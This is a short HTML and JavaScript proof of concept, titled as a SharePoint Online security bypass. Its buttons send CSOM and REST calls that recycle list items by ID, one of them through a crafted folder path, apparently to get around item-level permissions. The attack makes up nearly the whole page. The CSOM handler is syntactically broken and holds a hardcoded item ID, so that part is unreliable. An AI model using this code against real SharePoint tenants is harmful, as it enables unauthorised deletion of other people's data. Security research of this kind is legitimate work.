SPO bypass sec bits POC

        <input type="text" id="delete-input" />
<div style="margin: 20px 0">
        <input type="button" style="margin: 0; display: block;" value="RECYCLE AS CSOM" id="delete-button-csom" />
        <input type="button" style="margin: 10px 0; display: block;" value="RECYCLE (ITEM API) AS REST" id="delete-button-rest" />
        <input type="button" style="margin: 10px 0;display: block;" value="RECYCLE (FOLDER API) AS REST" id="delete-button-rest-folder" />
</div>
        <p id="delete-result"><p/>

<script>

            var button = document.getElementById("delete-button-csom");
            button.addEventListener('click', () => {
            var input = document.getElementById("delete-input");
            var container = document.getElementById("delete-result");

            if(isNaN(input.value)) {
                return;
            }
            var ctx =  SP.ClientContext.get_current();
            var list = ctx.get_web().get_lists().getByTitle("TEST_BITS").list.getItemById(15).recycle();
            var listItem = ;
            listItem.recycle();
            ctx.executeQueryAsync(() => {
            container.innerHTML = "DELETED!";
        }, (s, e) => {
            container.innerHTML = "FAIL:\r\n " + e.get_message();
        });

            });


        button = document.getElementById("delete-button-rest");

            button.addEventListener('click', () => {
            var input = document.getElementById("delete-input");
            var container = document.getElementById("delete-result");

            if(isNaN(input.value)) {
                return;
            }

            var request = new XMLHttpRequest();
            request.open('POST', "https://TENANT.sharepoint.com/sites/dev-pp002/_api/web/lists/GetByTitle('TEST_BITS')/items("+Number(input.value)+")/recycle()", true);
            request.setRequestHeader('Content-Type', 'application/json;odata=verbose');
            request.setRequestHeader('X-RequestDigest', document.getElementById("__REQUESTDIGEST").value);
            request.setRequestHeader('accept', 'application/json;odata=verbose');

            request.send({});
            request.onload = function() {
              if (request.status >= 200 && request.status < 400) {
                var resp = request.responseText;
                container.innerHTML = "OKAY: " + resp;
              } else {
                var resp = request.responseText;
                container.innerHTML = "FAIL: " + resp;
              }
            };
                        });

        button = document.getElementById("delete-button-rest-folder");

            button.addEventListener('click', () => {
            var input = document.getElementById("delete-input");
            var container = document.getElementById("delete-result");

            if(isNaN(input.value)) {
                return;
            }

            var request = new XMLHttpRequest();

            var sub = encodeURIComponent("/sites/dev-pp002/Lists/TEST_BITS/"+Number(input.value)+"_.000");
            var q = "https://TENANT.sharepoint.com/sites/dev-pp002/_api/web/GetFileByServerRelativePath(DecodedUrl=@a1)/recycle?@a1='"+sub+"'";

            request.open('POST', q, true);
            request.setRequestHeader('Content-Type', 'application/json;odata=verbose');
            request.setRequestHeader('X-RequestDigest', document.getElementById("__REQUESTDIGEST").value);
            request.setRequestHeader('accept', 'application/json;odata=verbose');

            request.send({});
            request.onload = function() {
              if (request.status >= 200 && request.status < 400) {
                var resp = request.responseText;
                container.innerHTML = "OKAY: " + resp;
              } else {
                var resp = request.responseText;
                container.innerHTML = "FAIL: " + resp;
              }
            };
                        });
</script>